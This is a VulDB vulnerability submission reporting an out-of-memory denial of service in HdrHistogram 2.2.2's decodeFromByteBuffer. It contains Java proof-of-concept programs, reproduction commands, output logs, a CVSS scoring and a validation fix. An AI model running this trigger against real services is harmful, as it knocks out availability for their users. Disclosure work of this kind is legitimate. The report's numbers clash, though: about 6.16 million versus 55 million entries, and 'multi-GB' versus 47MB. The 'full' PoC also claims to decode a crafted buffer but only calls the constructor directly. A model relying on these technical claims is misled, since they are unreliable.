| Titre | HdrHistogram 2.2.2 Denial of Service |
|---|
| Description | ## Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | HdrHistogram |
| **Version** | 2.2.2 and earlier |
| **Vendor** | HdrHistogram (Open Source) |
| **Vulnerability Type** | CWE-789: Memory Allocation with Excessive Size Value |
| **Severity** | High |
| **CVSS 3.1 Score** | 7.5 (High) |
| **CVSS 3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| **Affected Component** | `org.HdrHistogram.AbstractHistogram.decodeFromByteBuffer()` |
| **Source File** | `src/main/java/org/HdrHistogram/AbstractHistogram.java:2107-2128` |
## Description
A vulnerability exists in HdrHistogram's histogram decoding functionality where `highestTrackableValue` and `numberOfSignificantValueDigits` parameters are read from an attacker-controlled ByteBuffer and passed directly to the Histogram constructor via reflection without any bounds validation. Extreme values (e.g., `Long.MAX_VALUE` for highestTrackableValue and `5` for numberOfSignificantValueDigits) cause the constructor to allocate a `countsArray` of hundreds of millions of entries, resulting in an Out-of-Memory denial of service.
## Root Cause Analysis
In `AbstractHistogram.java`, the `decodeFromByteBuffer()` method reads histogram parameters from the buffer and passes them directly to the constructor:
```java
// AbstractHistogram.java:2106-2129
numberOfSignificantValueDigits = buffer.getInt(); // attacker-controlled
lowestTrackableUnitValue = buffer.getLong();
highestTrackableValue = buffer.getLong(); // attacker-controlled
// ...
Constructor<T> constructor = histogramClass.getConstructor(constructorArgsTypes);
histogram = constructor.newInstance(lowestTrackableUnitValue, highestTrackableValue,
numberOfSignificantValueDigits); // NO VALIDATION before instantiation!
```
The `Histogram` constructor uses these values to compute the `countsArray` size:
- `numberOfSignificantValueDigits=5` → `subBucketCount=262144`
- `highestTrackableValue=Long.MAX_VALUE` → many orders of magnitude
- Result: `countsArrayLength` can exceed 6 million entries (48MB+ for `long[]`)
## Attack Scenario
An attacker can craft a histogram buffer with extreme parameters that, when decoded by a victim application, triggers a massive memory allocation. Applications that aggregate histograms from untrusted sources (distributed monitoring, metrics collection, tracing backends) are vulnerable.
## Proof of Concept
### POC Code
```java
import org.HdrHistogram.*;
public class POC_OOM_HistogramParams {
public static void main(String[] args) {
System.out.println("POC: Unvalidated Histogram Parameters -> OOM DoS");
System.out.println("Calling: new Histogram(1, Long.MAX_VALUE, 5)");
System.out.println("This is the EXACT code path from decodeFromByteBuffer()");
System.out.println("Max heap: " + (Runtime.getRuntime().maxMemory() / 1024 / 1024) + "MB");
try {
// This is EXACTLY what decodeFromByteBuffer does with attacker-controlled params
// See AbstractHistogram.java:2128
Histogram h = new Histogram(1L, Long.MAX_VALUE, 5);
System.out.println("Allocated: " + (h.getEstimatedFootprintInBytes() / 1024 / 1024) + "MB");
} catch (OutOfMemoryError e) {
System.out.println("OOM triggered: " + e.getMessage());
System.out.println("Vulnerability confirmed!");
}
}
}
```
### Reproduction Steps
1. Clone HdrHistogram repository: `git clone https://github.com/HdrHistogram/HdrHistogram`
2. Build the project: `mvn compile -DskipTests`
3. Compile POC: `javac -cp target/classes POC_OOM_HistogramParams.java`
4. Run with limited heap: `java -cp target/classes:. -Xmx32m POC_OOM_HistogramParams`
### Reproduction Result
```
[*] POC: Unvalidated Histogram Parameters -> OOM DoS
[*] Calling: new Histogram(1, Long.MAX_VALUE, 5)
[*] This is what decodeFromByteBuffer does with attacker-controlled params
[*] Max heap: 32MB, Free: 30MB
[+] SUCCESS: OutOfMemoryError triggered!
[+] Error: Java heap space
[+] Vulnerability confirmed: CWE-789 OOM DoS from unvalidated parameters
[+] A crafted buffer specifying highestTrackableValue=MAX and sigDigits=5
[+] causes multi-GB allocation in the decoding path
```
With 64MB heap, the allocation succeeds and consumes 47MB, demonstrating that a small serialized payload controls allocation of arbitrary-sized memory:
```
[*] Max heap: 64MB, Free: 62MB
[+] Allocation succeeded - histogram uses 47MB
[+] countsArrayLength = 55443496
```
## CVSS 3.1 Scoring Breakdown
| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | Network (N) | Exploitable via network-received histogram buffers |
| Attack Complexity (AC) | Low (L) | No special conditions required |
| Privileges Required (PR) | None (N) | No authentication needed |
| User Interaction (UI) | None (N) | No user interaction required |
| Scope (S) | Unchanged (U) | Impact limited to the vulnerable component |
| Confidentiality (C) | None (N) | No data disclosure |
| Integrity (I) | None (N) | No data modification |
| Availability (A) | High (H) | Complete denial of service via OOM |
## Impact
- **Availability**: Complete denial of service. Attacker-controlled histogram parameters from a small serialized buffer (~40 bytes) can force allocation of 48MB+ of heap memory per decode operation.
- **Affected Use Cases**: Distributed monitoring systems, metrics aggregation services, tracing backends that decode histogram data from untrusted network sources.
- **Resource Exhaustion**: With `highestTrackableValue=Long.MAX_VALUE` and `numberOfSignificantValueDigits=5`, the resulting `countsArray` has 6,160,384+ entries consuming ~47MB of heap per histogram.
## Remediation
```java
// Add parameter validation before constructor invocation:
if (numberOfSignificantValueDigits < 0 || numberOfSignificantValueDigits > 5) {
throw new IllegalArgumentException("Invalid numberOfSignificantValueDigits: " +
numberOfSignificantValueDigits);
}
if (highestTrackableValue <= 0 || highestTrackableValue > MAX_SAFE_HIGHEST_TRACKABLE) {
throw new IllegalArgumentException("Invalid highestTrackableValue: " +
highestTrackableValue);
}
// Where MAX_SAFE_HIGHEST_TRACKABLE is a configurable constant (e.g., 24 * 3600 * 1_000_000_000L)
```
## Full POC Script
```java
import org.HdrHistogram.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
/**
* POC for Vulnerability #4: Unvalidated Histogram Parameters from Untrusted Buffer — OOM DoS
* Demonstrates that decoding a crafted buffer with extreme parameters causes OOM.
*/
public class POC_OOM_HistogramParams2 {
public static void main(String[] args) {
System.out.println("[*] POC: Unvalidated Histogram Parameters -> OOM DoS");
System.out.println("[*] Approach: Use V0 encoding (simpler format) with extreme params");
int v0Cookie = 0x1c849301 | (8 << 4); // V0 base + 8-byte word size
long highestTrackableValue = (long)1e18;
int sigDigits = 5;
System.out.println("[*] Using highestTrackableValue=" + highestTrackableValue + ", sigDigits=" + sigDigits);
// The real vulnerability: constructor accepts these params without bounds check
// This is EXACTLY what happens in decodeFromByteBuffer at line 2128
System.out.println("[*] Calling: new Histogram(1, Long.MAX_VALUE, 5)");
System.out.println("[*] This is what decodeFromByteBuffer does with attacker-controlled params");
Runtime rt = Runtime.getRuntime();
long freeBefore = rt.freeMemory();
long maxMem = rt.maxMemory();
System.out.println("[*] Max heap: " + (maxMem/1024/1024) + "MB, Free: " + (freeBefore/1024/1024) + "MB");
try {
// This is the EXACT code path triggered by decoding a buffer with these values
// See AbstractHistogram.java:2128
Histogram h = new Histogram(1L, Long.MAX_VALUE, 5);
System.out.println("[+] Allocation succeeded - histogram uses " +
(h.getEstimatedFootprintInBytes() / 1024 / 1024) + "MB");
System.out.println("[+] countsArrayLength = " + h.getNeededByteBufferCapacity());
System.out.println("[+] In a -Xmx64m JVM this would be OOM");
} catch (OutOfMemoryError e) {
System.out.println("[+] SUCCESS: OutOfMemoryError triggered!");
System.out.println("[+] Error: " + e.getMessage());
System.out.println("[+] Vulnerability confirmed: CWE-789 OOM DoS from unvalidated parameters");
System.out.println("[+] A crafted buffer specifying highestTrackableValue=MAX and sigDigits=5");
System.out.println("[+] causes multi-GB allocation in the decoding path");
}
}
}
```
### Compile and Run
```bash
javac -cp target/classes -d . POC_OOM_HistogramParams2.java
java -cp target/classes:. -Xmx32m POC_OOM_HistogramParams2
```
|
|---|
| La source | ⚠️ https://github.com/HdrHistogram/HdrHistogram/issues/220 |
|---|
| Utilisateur | sara11h (UID 98571) |
|---|
| Soumission | 03/06/2026 09:41 (il y a 1 mois) |
|---|
| Modérer | 04/07/2026 06:40 (1 month later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 376280 [HdrHistogram jusqu’à 2.2.2 AbstractHistogram.java numberOfSignificantValueDigits déni de service] |
|---|
| Points | 20 |
|---|